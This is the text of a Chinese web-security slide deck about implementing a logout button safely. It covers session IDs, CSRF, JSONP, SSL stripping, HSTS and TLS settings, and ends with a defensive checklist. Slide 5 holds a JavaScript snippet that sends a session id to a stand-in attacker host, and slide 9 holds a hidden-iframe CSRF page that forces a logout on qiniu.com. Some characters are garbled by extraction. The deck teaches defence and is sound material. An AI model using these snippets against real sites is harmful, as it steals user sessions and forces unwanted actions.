Contenu connexe
Similaire à 如何实现登出按钮 (20)
如何实现登出按钮
- 4. 加上 session id, 你就没法攻击了吧
<a id=“logout” href=“/logout?s=abc123”>登出</a>
- 5. ⼩小⼼心⺴⽹网站上的恶意 JS
sid = $(“#logout”).attr(“src”);
$(‘<img src=“http://attcker.com/?' + sid + ‘“ />’).appendTo(“$
(“body”))
- 8. 好吧我决定改⽤用 POST 了
<form action=“/logout” method=“POST”>
<input type=“submit” value=“登出”>
</form>
- 9. <!— attack1.html —>
<form action=“http://qiniu.com/logout” method=“POST”>
</form>
<script>$(“form”).submit()</script>
<!— fakepage.html —>
<iframe src=“attack1.html” style=“width:0;height:0”>
</iframe>
- 23. 这个技术叫 JSONP,其实你没有拿到
google返回的数据,只是 google 返回的数
据是⼀一份 JS, JS 中包含你⽤用来处理数据的
函数⽽而已
等价于你在⺴⽹网⻚页中插⼊入如下⼀一段代码:
<script src=“http://google.com/?
q=foobar&jsonp=callback"></script>
⽽而 Google 返回的数据就是
callback({result:"abc"})
- 37. 好的证书是第⼀一步(不要像 12306 学习),
你还得⼩小⼼心 SSL Stripping Attack
⽤用户进⼊入 portal.qiniu.com 的时候⼀一般不会
主动加上 https, 恶意中间⼈人就可以在这个时
候代理⽤用户把请求发到服务器, 并且窃听
到所有数据。
可以在HTTP返回头中加⼊入如下的⼀一项:
Strict-Transport-Security: max-age=31536000;
includeSubDomains
- 39. • 要禁⽤用 SSLv1
• TLS 1.0 有⼀一个 CBC 漏洞,建议 nginx
启⽤用 TLS 1.1, 1.2, 并且关闭 RC4
• 有 https 的域名不要开放邮箱申请
• session id 要⾜足够⻓长,避免 CRIME 攻
击
- 43. ⾄至少听我总结⼀一下吧
1. 需要正确使⽤用 GET/POST
2. 需要知道如何防范 CSRF
3. 正确使⽤用 Cookie 的 HttpOnly 和 Secure 选项
4. 从外界输⼊入的 HTML 需要清洗, 内容输出前需要正确
escape
5. 避免 SQL 注⼊入
6. 采⽤用⼀一些常⻅见的 HTTP 安全头